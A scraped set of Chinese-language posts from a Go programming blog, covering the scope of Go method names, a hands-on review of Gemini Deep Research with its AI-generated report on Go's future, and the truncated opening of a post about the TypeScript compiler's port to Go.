方法名：包级作用域，间接调用\nGo语言规范中关于作用域的描述如下面截图所示：\n我们看到，这里没有直接说明方法名具有什么级别作用域。那么我们是如何推导出方法具有包级作用域的特质呢？我们继续向下看。\n方法等价的函数：包级作用域的体现\n理解方法名作用域的关键在于，可以将方法“转换”为一个与之等价的普通函数。考虑以下方法：\npackage mypkg type MyType int func (m MyType) MyMethod() {} 可以将MyMethod“转换”成一个等价的函数：\npackage mypkg type MyType int func MyMethod(m MyType) {} 这个“转换”后的函数MyMethod具有明显的包级作用域，只是它需要一个MyType类型的参数才能调用。而原来的方法MyMethod则与MyType类型绑定，只能通过MyType类型的值或指针来调用。从这个等价性，我们可以推断出方法名本身也具有包级作用域。因为如果它不是包级的，那么等价的函数形式也无法在包内其他地方被引用。\n但从其调用方式也可以明确推断出一点：方法不能像函数那样被直接调用，它必须通过与其关联的类型（接收者类型）的变量或指针来调用。\n方法调用的形式：间接调用的体现\nGo语言中，方法调用的几种形式都体现了其“间接调用”的特性：\n**通过接收者变量/指针调用：**receiver.MethodName()这是最常见的形式。 方法表达式： Type.MethodName(receiver) 这种形式将类型本身作为“函数名”的一部分，但仍然需要一个接收者作为参数。 方法值： receiver.MethodName这种形式将方法绑定到一个接收者上，形成一个函数值，后续调用时仍需通过这个函数值（本质上还是通过接收者）。 无论哪种形式，都离不开接收者（receiver）。这与函数的直接调用形式（FunctionName()）形成了鲜明对比。\n包内、包外：可见性规则\n方法名具有包级作用域。但其可见性（能否被调用）受到以下因素的影响：\n方法名本身的导出性： 首字母大写的方法（导出方法）可以在包外被调用（当然，前提是获得了接收者类型的实例）。首字母小写的方法（未导出方法）只能在包内被调用。 接收者类型的可见性： 接收者类型的可见性影响在于：如果接收者类型是未导出的，那么其他包无法 声明 该类型的变量。但这并不代表其他包无法获得该类型的实例并调用其方法(稍后我会举例说明)。 包内引用：需间接使用\n即使在包内，方法名也不能被“随便”地直接引用。它仍然需要通过其关联类型或该类型的变量来间接使用，例如：\n方法表达式： MyType.MyMethod 方法值： myVar.MyMethod (其中myVar是MyType类型的变量) package mypkg type MyType int func (m MyType) MyMethod(){} func anotherFunc(){ // f := MyMethod //错误，不能直接引用 f1 := MyType.MyMethod // 正确：方法表达式 var myVar MyType f2 := myVar.MyMethod // 正确：方法值 _ = f1 _ = f2 } 那么未导出类型的导出方法是否可以在包外使用呢？我们来看下面这个示例：\n示例：未导出类型的导出方法\n// mypkg/mypkg.go package mypkg type unexportedType struct{} // 未导出的类型 // 导出的方法 func (u unexportedType) ExportedMethod() string { return \u0026#34;Hello from ExportedMethod\u0026#34; } // 工厂函数，返回未导出类型的实例 func NewUnexportedType() unexportedType { return unexportedType{} } //------------- // main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;yourpath/mypkg\u0026#34; ) func main() { //u := mypkg.unexportedType{} // 错误！无法直接创建未导出类型的变量 u := mypkg.NewUnexportedType() //通过工厂函数获得实例（但无法显式声明u的类型） result := u.ExportedMethod() //正确。 fmt.Println(result) // 输出 \u0026#34;Hello from ExportedMethod\u0026#34; } 虽然unexportedType是未导出的类型，但是ExportedMethod是导出的方法。在main函数中，我们无法直接声明unexportedType类型的变量，但我们仍然可以通过工厂函数NewUnexportedType()以及短变量声明，来获得该未导出类型的实例，从而调用其导出的方法ExportedMethod。\n注：在《Go导出标识符：那些鲜为人知的细节》一文中，对未导出类型的导出方法的调用还有详细说明。\n小结：包级作用域，间接调用\nGo方法名的作用域是包级的，但它需要通过接收者间接调用。这意味着：\n包内引用： 在包内，方法名需要通过其关联类型或该类型的变量来间接使用（方法表达式或方法值）。 包内/包外调用： 必须通过接收者调用方法，不能像函数那样直接调用。 包外调用条件： 只要方法名是导出的（首字母大写），并且能够获得接收者类型的实例（无论该类型是否导出，只要能获得实例），就可以在包外调用该方法。 理解Go 方法名“包级作用域，间接调用”的特性，对于编写清晰、可维护的Go代码至关重要。希望本文能够帮助你更深入地掌握这一概念。\nGopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/03/24/understand-methodname-scope/","summary":"\u003cp\u003eGo方法名的作用域：包级，但需间接调用 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"Go方法名的作用域：包级，但需间接调用"},{"content":"\n本文永久链接 – https://tonybai.com/2025/03/16/gemini-deep-research-experience\n基于大模型的AI已进入深度思考时代，以DeepSeek R1模型为代表的开源模型给主流AI厂商带来了巨大压力。其实早在2024年12月份，Google就在一篇名为“Try Deep Research and our new experimental model in Gemini, your AI assistant”中发布了自己的Deep Research产品：Gemini Deep Research。\nGemini Deep Research不仅仅是一个简单的搜索引擎，而是一个智能研究助理。用户只需输入研究主题，Deep Research即可自动完成以下工作：\n自动制定研究计划：根据主题的复杂性，Deep Research会生成一个多步骤的研究计划。 深度网络信息分析：Deep Research会像人类研究员一样，在网络上进行多轮搜索、分析、筛选，并根据已获取的信息不断调整搜索策略。 生成综合报告：最终，Deep Research会生成一份结构化的报告，包含关键发现、主要观点以及原始资料链接。 支持交互式提问：用户可以对报告内容进行追问，Deep Research会进一步解释或补充信息。 不过最初发布时，免费用户体验受到了限制。2025.3.13 Google更新了其AI产品gemini的功能特性，并宣布在Gemini 2.0 Flash Thinking等模型上增加Deep Research功能(并且相对于早期的功能又有了能力上的增强)。现在即便你是免费用户，只要打开Gemini应用的主页面，就能看到下面带有Deep Research功能选项的对话输入框：\n并且，在Gemini app页面上免费用户可以使用的模型都支持Deep Research，虽然每月依然有使用次数限制：\n作为Gemini AI助手的一项重要特性，基于大窗口增强后的Deep Research利用Gogle强大的信息搜索能力以及AI强大的信息处理能力，可为用户提供深度、全面的研究报告，大幅提高了研究效率。\n在信息爆炸的时代，我们这些技术人员面临着持续学习和快速掌握新技术、新趋势的巨大挑战。传统的研究方法往往耗时费力，如何在海量信息中高效提取关键信息，已成为提升技术竞争力的关键要素。\n本文将以”Go语言未来5-10年的演进方向及核心团队发力重点”这一主题为例，分享我对增强版Gemini Deep Research的抢先体验。\n实战体验：Go语言未来演进方向研究 为了测试Deep Research的实际效果，我选择了一个对Go开发者非常关心的话题：\n“Go语言未来5-10年的演进方向以及Go核心团队的发力重点会在哪里？”\n研究过程 启动研究 在Gemini对话框中输入上述主题，并在左上角选择”Deep Research”模型，然后提交。\nGemini会首先会自动生成研究计划，如下图，并等待你的确认：\n确认方案，并等待研究完成 你可以修改方案，也可以点击“开始研究”，一旦选择后者，Deep Research就会自动开始进行研究(包括反复的数据搜索、分析结果等)。在研究过程中，Gemini会显示当前的研究进度，例如”正在分析相关信息”、”正在生成报告”等，下面是研究过程的一些截图：\n… …\n整个过程大约持续了10-15分钟（具体时间取决于主题的复杂性）。\n获取研究报告 研究完成后，Gemini生成了一份详细的报告，结构完整，内容丰富。Gemini支持将报告导出到Google Doc，之后你便可以基于Google Doc查看、编辑或下载这份研究报告了。Gemini为我生成的这份报告放在了这里。如果你访问不了，我在本文附录也放了一份报告结果，请参考。\n下面我们再简单看一下报告质量。\n研究报告内容与质量分析 这次Gemini针对我提出的题目生成的报告包含以下主要章节：\nGo语言的持久相关性与未来轨迹 近期重要进展分析（Go 1.24及未来） 核心团队的优先事项解读：解读发力重点 未来5-10年Go语言的演进方向 Go的应用：应对现代挑战 Go未来面临的挑战和考虑因素 结论：规划Go未来十年的发展方向 相关统计表格和参考文献 从全面性来看，该报告涵盖了Go语言发展的多个维度，从技术细节（如泛型、性能优化、WebAssembly支持）到宏观趋势（如云计算、边缘计算、AI/ML集成），再到社区和生态系统的发展，内容全面而不失重点。\n该报告不仅是信息的简单堆砌，而是对信息进行了深入的分析和整合，不乏一定的深度。例如，报告准确地指出了Go核心团队在性能优化、并发、WebAssembly等方面的持续投入，并分析了这些投入背后的战略意图。\n报告还给出了引用的信息的确切来源，包括Go官方博客、技术文章、社区讨论等，初步看了一眼，信息来源相关性强，且地址可靠。比如：报告中提到的Go 1.24的新特性、核心团队的优先事项等，都与官方信息保持一致。\n报告也提出了一些有价值的洞察，例如Go在边缘计算和物联网领域的潜力、在AI/ML领域可能的发展方向等，为读者提供了前瞻性的视角。\n报告结构非常清晰，语言流畅，易于理解。即使是对Go语言不太熟悉的读者，也能通过报告快速了解Go语言的未来发展趋势。\n该报告的撰写质量估计已经超过了许多有多年Go开发经验的资深工程师所能提供的分析。如果一个技术人员亲自去调研和总结这些内容，没有3-5天的时间投入是很难完成的。\n体验结论 通过此次体验，我们可以深刻地感受到Gemini Deep Research的强大功能和巨大潜力：\n效率提升：Deep Research将原本需要数小时甚至数天的研究工作缩短至几分钟，极大地提高了研究效率。 信息全面性：Deep Research能够从多个来源获取信息，并进行综合分析，避免了人工研究可能存在的遗漏和偏见。 深度洞察：Deep Research不仅是信息的搬运工，它能够对信息进行深入分析，提炼出有价值的洞察。 持续学习：Deep Research处于不断进化中，未来将会变得越来越强大。 Gemini Deep Research等深度研究工具的出现与演进，标志着AI驱动的研究新时代的到来。它将改变我们获取信息、分析信息、利用信息的方式，为各行各业带来巨大的变革。对于技术团队来说，Deep Research无疑是一个强大的工具，可以帮助我们更快地学习、更深入地思考、更高效地工作。\n附录 Go语言未来5-10年的演进方向及核心团队发力重点 1. 引言：Go的持久相关性与未来轨迹\n自2009年公开宣布，并于2012年发布1.0版本以来，Go语言已在现代软件开发领域占据重要地位，尤其是在云基础设施和可扩展系统方面 1。其设计初衷是为了解决大规模软件开发的复杂性 6，强调简洁、高效和并发性 1。Go语言的用户群体显著增长，表明其采用率和相关性不断提高 10。这种增长凸显了理解其未来演进以及Go核心团队优先事项的必要性。本报告将分析近期发展、社区讨论以及Go项目关键人物的见解，以预测未来5到10年Go语言的发展轨迹，重点关注核心团队的努力方向。\nGo语言最初的创建动机是为了解决Google在软件基础设施方面面临的实际问题，例如C++在构建现代服务器软件时遇到的构建缓慢、依赖管理失控和并发编程困难等挑战 1。这种以解决实际问题为导向的设计思路深深植根于Go语言的基因中，可以预见，未来Go核心团队将继续关注实际应用，并致力于满足开发人员的需求。\nGo语言用户群体的持续增长以及主要科技公司的广泛采用，为Go语言的未来发展奠定了坚实的基础 10。来自各种调查的数据一致显示，越来越多的开发人员正在使用Go语言，并且有学习Go语言的意愿。诸如Google、Netflix、Uber和Dropbox等公司 3 在其关键基础设施中对Go语言的依赖，突显了Go语言的成熟性和适用于大规模项目的能力，这无疑将确保核心团队和社区对Go语言的持续投入和发展。\n2. 近期重要进展分析：Go 1.24及未来\n2025年2月发布的Go 1.24版本是一个重要的里程碑，它揭示了Go核心团队当前的优先事项 17。此版本的主要特性包括：\n完全支持泛型类型别名，增强了代码的灵活性并减少了冗余 17。这解决了社区长期以来的一个需求 8。 运行时性能得到提升，在一系列代表性基准测试中，CPU开销平均降低了2-3%。这些改进包括基于Swiss Tables的新map实现、更高效的小对象内存分配以及新的内部互斥锁实现 10。 通过go:wasmexport指令将Go函数导出到Wasm，并支持构建为WASI反应器/库，增强了WebAssembly (Wasm) 的功能 17。这标志着Go语言正日益关注将其应用范围扩展到传统的服务器端应用之外 21。 go.mod中新增了管理工具依赖的机制 18，并且go vet命令通过新的测试分析器得到了改进 18。这些变化旨在改善开发人员的体验和代码质量。 标准库新增了FIPS 140-3合规性机制、用于目录限制文件系统访问的新os.Root类型以及比runtime.SetFinalizer更灵活的runtime.AddCleanup函数用于清理操作 1。这些新增功能增强了Go在安全性、系统编程和资源管理方面的能力。 用于测试并发代码的实验性testing/synctest包 17。这突显了并发性在Go语言发展中的持续重要性。 bytes和strings包中新增了基于迭代器的新函数，提高了常见数据处理任务的效率 18。 Go 1.24中包含的诸如泛型等长期以来备受期待的功能，体现了核心团队对社区反馈的积极响应以及他们为满足现代编程需求而不断发展语言的意愿。Go社区对泛型的需求由来已久 8。Go 1.18开始引入泛型，并在1.24版本中进一步完善了对泛型类型别名的支持，这表明核心团队认真听取了开发者的意见，并准备在社区达成广泛共识且对生态系统有明显益处时，对语言进行重大改变。\nGo 1.24中显著的性能改进，进一步巩固了Go语言在效率和速度方面的核心价值主张，预示着性能优化将继续成为核心团队未来的重点工作。关于使用Swiss Tables加速Go map以及其他运行时改进的详细博客文章 10 清晰地表明，核心团队正在持续努力使Go程序在现代硬件上运行得更快、更高效。这与Go最初为基础设施软件设定的设计目标相一致。\nGo 1.24中对WebAssembly功能的增强，暗示着Go语言正在战略性地定位自己，使其成为一种能够在包括Web浏览器和基于云的Wasm运行时等多种环境中运行的多功能语言。go:wasmexport指令和WASI反应器支持的引入 17 不仅仅是增量式的变化，它们代表着核心团队有意使Go成为更具吸引力的WebAssembly开发选择。关于可扩展Wasm应用的博客文章 17 详细介绍了这些新增功能，表明核心团队期望Go在浏览器端和服务器端的Wasm应用中都发挥重要作用。\n3. 核心团队的优先事项：解读发力重点\n基于近期发布的版本、Go团队的博客文章 10 以及社区讨论，可以识别出Go核心团队的几个关键优先事项：\n持续强调性能和效率： 每个版本中持续的性能改进 10 表明，保持和提升Go的性能特性仍然是首要任务。这包括针对现代硬件优化运行时、标准库和编译器 10。对诸如新的map实现和内存分配改进等底层优化的关注，表明核心团队致力于从根本上提高Go的性能，从而使广泛的应用受益。关于Swiss Tables的博客文章 17 详细介绍了这些深层次的运行时修改，表明了对核心性能的长期投入。 并发和并行方面的进步： Go在并发方面的优势 1 仍然是关键的关注点，实验性testing/synctest包的引入 17 表明，核心团队正在不断努力改进并发编程的工具和支持。关于未来可能增强并发模型的讨论 25 也表明了其持续的重要性。开发专门用于测试并发代码的工具（如实验性的testing/synctest包 17）突显了核心团队致力于确保并发Go程序的可靠性和正确性，这对于许多目标用例（如云基础设施和分布式系统）至关重要。并发是Go语言的一个核心差异化优势，而对更好的测试框架的投入则体现了对其健壮性的承诺。介绍testing/synctest的博客文章 17 证实了这一重点。 对WebAssembly能力的战略投资： Go 1.24中对Wasm支持的显著增强 17 以及社区持续的兴趣 21 表明，使Go成为一种可行的WebAssembly语言是核心团队的战略重点。这为Go在前端开发和其他基于Wasm的环境中开辟了新的可能性 18。通过go:wasmexport将Go函数导出到Wasm宿主，并构建WASI反应器的双重关注，表明了核心团队对Wasm支持采取了全面的方法，旨在实现与各种Wasm生态系统（包括浏览器和服务器端环境）的互操作性。关于可扩展Wasm应用的博客文章 17 详细介绍了这种双重方法，表明核心团队设想Go在浏览器端和服务器端的Wasm应用中都将发挥重要作用。 加强语言和标准库的安全性： Go 1.24中包含的FIPS 140-3合规性机制 17 以及Go生态系统中关于安全性的持续讨论 8 突显了核心团队致力于使Go成为构建关键应用的安全语言。对内存安全的关注 1 也与这一优先事项相符。通过简单的环境变量 18 提供对FIPS认证加密的内置支持，体现了核心团队对安全性的积极态度，使得开发人员更容易构建符合安全规范的应用，而无需依赖外部库或复杂的配置。此功能直接解决了软件开发中日益增长的安全性重要性，尤其适用于需要遵守FIPS标准的企业和政府应用。 持续优化云原生架构： Go在云原生开发领域的强大影响力 2 是显而易见的，预计核心团队将继续为该领域优化语言和标准库。这包括与微服务、容器化 9 以及与云平台的集成 38 相关的改进。Docker和Kubernetes等主要的云基础设施工具都是用Go语言构建的 9，这使得Go的未来与云原生技术的演进紧密相连。这表明核心团队可能会优先考虑那些能够使该生态系统中的开发人员受益的功能和改进。Go在云生态系统中的基础性作用为核心团队提供了强大的动力，以确保它仍然非常适合这些工作负载，并保持其在该领域相对于其他语言的竞争优势。 探索Go在新兴领域的潜力（AI/ML，边缘计算）： 尽管Go在AI/ML领域尚未占据主导地位 8，但在该领域的使用潜力正在增长，尤其是在部署模型和构建基础设施方面 10。同样，Go的高效性和小巧的体积使其成为边缘计算和IoT应用的有力候选者 8。核心团队对支持这些领域的努力可能会在未来增加，正如关于Go在AI系统中的作用的讨论所表明的那样 10。Go在处理大型数据集方面的高效率及其在高性能AI应用开发方面的潜力 8 表明，即使Go的目标不是取代Python成为主要的模型开发语言，核心团队也可能正在探索增强Go在某些AI/ML工作负载（如高性能推理或构建AI基础设施）方面的适用性的方法。Go的性能优势可以在速度和效率至关重要的AI/ML领域（如推理或边缘部署，其中低延迟至关重要）得到利用。Go的轻量级特性和内置的并发性 26 与边缘计算和IoT的需求非常契合，在这些环境中，资源受限和需要处理大量并发连接是很常见的。这种天然的契合性表明核心团队可能会继续优化Go以适应这些环境。 提升开发者体验：工具和生态系统： 核心团队始终致力于通过增强工具 8（包括go命令、go vet和IDE集成 38）来改善开发者体验。错误处理 8 和包管理 5 的改进也是持续的优先事项。Go生态系统的健康发展 8 对于语言未来的成功至关重要。Go 1.24中引入的用于管理工具依赖的工具（使用go get -tool和go tool 18）直接解决了Go开发人员常见的workflow挑战，简化了开发所需的外部实用程序的管理，体现了对实用性和改善Go程序员日常体验的关注。简化开发工具的依赖管理可以改善整体开发者体验，并减少Go项目中的摩擦。诸如go vet（带有新的测试分析器）等现有工具的持续改进以及对新工具和功能的不断探索 8 表明，核心团队致力于为Go程序员提供一个健壮高效的开发环境，帮助他们编写更好更可靠的代码。强大的工具链对于开发者生产力至关重要，核心团队对这方面的投入反映了其对于Go语言长期成功的意义。 4. 不断演进的格局：未来5-10年的Go语言\n展望未来，可以预见Go语言的几个趋势和潜在发展方向：\n预期的语言演进和潜在的新特性： 尽管Go 1.x一直秉持着对向后兼容性的坚定承诺 1，但泛型的引入 8 表明，Go愿意为了解决关键的局限性和满足社区的需求而进行演进。未来的演进可能包括进一步完善泛型、潜在地改进错误处理 8，以及基于社区反馈和不断发展的技术格局，谨慎地引入其他特性。关于“Go 2.0”的讨论 8 表明了对更重大变革的长期愿景，但核心团队强调将采取循序渐进的方式 35。正如Russ Cox 48 所阐述的，以及Go语言缓慢但稳步的发展历程 35 所反映的那样，核心团队对语言的改变采取谨慎的态度。这表明，虽然核心团队对演进持开放态度，但他们将继续优先考虑稳定性和向后兼容性，以避免破坏庞大的现有Go代码生态系统。这种谨慎的做法一直是Go语言发展的标志，并且很可能会继续下去，从而确保Go语言对于长期项目来说仍然是一个可靠的选择。 标准库的增长和成熟： 标准库是Go语言的一大优势 1，提供了广泛的开箱即用功能。预计未来的增长将包括新的包以及对现有包的改进，可能涉及网络、数据处理和对新兴技术的支持等领域。math/rand/v2包的引入 10 为未来的库演进和现代化提供了一个范例。正如Go语言15周年纪念 10 中提到的那样，引入带有版本控制的新标准库包（如math/rand/v2）表明了一种具有前瞻性的库演进方法。这使得在不破坏与旧版本兼容性的情况下实现重大改进和新功能成为可能，为在遵守Go 1兼容性承诺的同时实现现代化提供了一条途径。 Go Modules和依赖管理的作用： Go Modules 5 已成为Go语言依赖管理的标准，未来的发展可能会侧重于进一步简化和增强该系统。go.mod中工具指令的引入 18 是这种演进的最新例证。对Go Modules的持续改进，例如跟踪工具依赖的能力 18，表明核心团队致力于提供一个健壮且用户友好的依赖管理系统。这对于大型复杂的Go项目的可扩展性和可维护性至关重要，并反映了持续改进开发者体验的努力。 社区影响和开源贡献： Go的开源特性 1 意味着社区通过提案 49、贡献和反馈 16 在其发展中发挥着重要作用。核心团队通过调查 17 和讨论积极与社区互动，使得社区的意见成为塑造Go未来发展方向的关键因素。提案流程本身 56 确保了任何重大变更在被采纳之前都会在社区内得到仔细考虑和讨论。Go开发者调查 17 是核心团队收集广泛反馈并了解Go社区的使用模式、挑战和期望改进的关键机制。这种数据驱动的方法确保了语言的演进能够满足用户的实际需求。 5. Go的应用：应对现代挑战\nGo语言的设计和近期发展使其能够很好地应对软件开发中的几个现代挑战：\n云计算和微服务：巩固Go的地位： Go的高效性、并发性和小巧的二进制文件使其非常适合构建云原生应用和微服务 3。其持续的演进，包括性能的提升和并发测试工具的改进，可能会进一步加强其在该领域的地位。Go语言通过goroutine和channel实现的内置并发模型 1 为构建需要高效处理大量并发请求的分布式系统和微服务提供了显著的优势。与依赖外部库实现并发的语言相比，这种内置的并发模型简化了可扩展和响应迅速的云应用的开发。 边缘计算和物联网：发挥Go的效率优势： Go的性能和较小的资源占用使其成为边缘计算和物联网应用的绝佳选择 8。随着这些领域的持续增长，Go的作用预计将进一步扩大，尤其是在针对资源受限环境进行优化方面。Go语言生成的小巧且自包含的二进制文件 1 对于资源受限（如内存和处理能力）的边缘设备和物联网环境尤其有益。这使得Go应用能够在更广泛的硬件上高效运行。 WebAssembly：将Go的触角延伸到前端： 凭借Go 1.24中增强的Wasm支持和持续的开发 17，Go正成为构建高性能前端Web应用的可行选择，可能在某些领域挑战JavaScript的主导地位，尤其是在计算密集型任务或需要浏览器中实现类似原生性能的应用方面。即使编译为WebAssembly 24，Go的性能特性也为Web应用带来了相比传统基于JavaScript的解决方案的显著性能提升潜力，尤其是在涉及复杂计算或需要与系统资源紧密交互的应用方面。 人工智能和机器学习：探索新的领域： 尽管在库的可用性方面仍然存在挑战 15，但Go的性能和效率使其成为部署和提供AI/ML模型的有希望的语言 8。未来的发展可能会看到对基于Go的AI/ML库和框架的更多投入，可能侧重于Go的优势（如用于并行处理的并发性）特别有益的领域。Go强大的性能和并发能力使其非常适合构建支持AI/ML工作负载的基础设施，例如数据处理管道、模型服务平台和分布式训练系统，即使它不会成为所有AI/ML开发阶段的主要语言。 6. Go未来面临的挑战和考虑因素\n尽管Go语言的发展前景良好，但也面临着一些挑战和需要考虑的因素：\n在简洁性与特性扩展之间取得平衡： Go的简洁性是其核心优势之一 1，但诸如泛型等特性的加入也引入了复杂性。核心团队必须在对新特性的渴望与保持语言的简洁性和可读性之间仔细权衡 8。泛型的引入虽然解决了社区的一个主要需求，但也代表着Go最初极简主义设计理念的一次偏离。核心团队需要继续仔细评估未来的特性提案，以确保它们在提供实质性好处的同时，不会过度损害语言的可读性和易于理解的核心原则。 回应社区反馈和不断变化的需求： Go社区对某些限制和期望的特性提出了很多意见 8，核心团队需要继续与这些反馈互动，并在坚守其核心原则的同时，使语言适应不断变化的需求 10。核心团队通过调查、博客文章和提案流程 17 与Go社区的积极互动对于确保语言的演进符合用户的实际需求和更广泛的软件开发趋势至关重要。维持这种开放的沟通和反馈循环对于Go语言的长期健康和相关性至关重要。 来自其他编程语言的竞争： Go面临着来自其他现代编程语言（如Rust 5）以及其他也针对类似领域（如云原生开发和高性能计算）的语言的竞争。Go未来的成功将取决于其维持独特优势并继续响应竞争格局而发展自身的能力。尽管Go和Rust经常在相似的领域展开竞争，但它们提供了不同的权衡（例如，Go的简洁性与Rust对不使用垃圾回收的内存安全的关注）。Go的持续成功可能取决于强调其优势并解决其相对于竞争对手的劣势，例如错误处理的冗长 59 或其他语言中存在的某些高级语言特性的缺乏。 7. 结论：规划Go未来十年的发展方向\nGo语言有望在未来5到10年内继续保持增长和发展。正如近期发布的版本和社区互动所表明的那样，核心团队的优先事项侧重于持续的性能改进、并发方面的进步、对WebAssembly的战略投资、加强安全性、持续优化云原生架构以及探索AI/ML和边缘计算等新兴领域。\n尽管在简洁性与特性扩展之间取得平衡以及应对竞争格局将是关键的挑战，但Go语言强大的基础、活跃的社区以及核心团队致力于满足开发者需求的承诺，都预示着Go语言拥有光明的未来。其适应现代挑战的能力以及对实用解决方案的持续关注，可能会在未来几年内巩固其作为构建可靠、可扩展和高效软件系统的关键语言的地位。\n有价值的表格：\n表格：近期Go版本（Go 1.23和Go 1.24）的关键特性和关注领域 版本 关键语言特性 显著性能提升 工具增强 标准库新增/变更 版本体现的关注领域 Go 1.23 slices/maps中的迭代器函数 配置文件引导优化 (PGO) 改进的go命令 新增iter包 性能，泛型集成 Go 1.24 泛型类型别名 更快的map (Swiss Tables), 内存分配, 互斥锁 新的测试分析器，工具依赖管理 FIPS 140-3, os.Root, runtime.AddCleanup, 弱指针 性能，泛型，Wasm，安全，开发者体验 表格：Go语言的采用统计数据和趋势 年份 统计来源 指标 主要发现/趋势 2024 Stack Overflow 开发者调查 最受喜爱的编程语言之一 表明开发者满意度高。 2024 Talent.com 美国Go开发者平均年薪约为$132,823 显示出对Go开发者的强烈需求和高价值。 2023 Go开发者调查 H2 \u0026gt;90% 开发者满意度 突显了Go社区内的积极体验。 2021 Stack Overflow 调查 约9.55% 的开发者使用Go 显示出相当一部分开发者正在积极使用Go。 2020 JetBrains 开发者生态系统 约110万主要Go开发者，约270万包括第二语言 表明全球拥有庞大且不断增长的Go开发者社区。 2019 Stack Overflow 调查 Go是第三大最想学习的语言 表明随着更多开发者希望获得Go技能，其采用率将持续增长。 2024 Okoone.com Go的用户群在过去五年内增长了两倍 表明Go的受欢迎程度和采用率迅速增长。 2024 Developer Nation 调查 11% 的后端开发者目前使用Go 提供了Go在关键目标人群中的具体采用率。 Works cited\n// 数量太多，这里省略。\nGopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/03/16/gemini-deep-research-experience/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/gemini-deep-research-experience-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/03/16/gemini-deep-research-experience\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/03/16/gemini-deep-research-experience\"\u003ehttps://tonybai.com/2025/03/16/gemini-deep-research-experience\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e基于大模型的AI已进入深度思考时代，以DeepSeek R1模型为代表的开源模型给主流AI厂商带来了巨大压力。其实早在2024年12月份，Google就在一篇名为“\u003ca href=\"https://blog.google/products/gemini/google-gemini-deep-research/\"\u003eTry Deep Research and our new experimental model in Gemini, your AI assistant\u003c/a\u003e”中发布了自己的Deep Research产品：\u003ca href=\"https://blog.google/products/gemini/google-gemini-deep-research/\"\u003eGemini Deep Research\u003c/a\u003e。\u003c/p\u003e","title":"体验Gemini Deep Research：以Go语言未来演进方向分析为例"},{"content":"\n本文永久链接 – https://tonybai.com/2025/03/13/interview-with-anders-hejlsberg\n昨天发表了《Anders Hejlsberg亲自操刀向Go语言移植！TypeScript编译器性能狂飙10倍！》一文后，收到了许多读者的反馈，其中最高频的问题是：为什么不选择Rust？为什么不使用C#等其他语言？为了帮助大家更好地理解这次“技术事件”，我整理了Michigan TypeScript对Anders 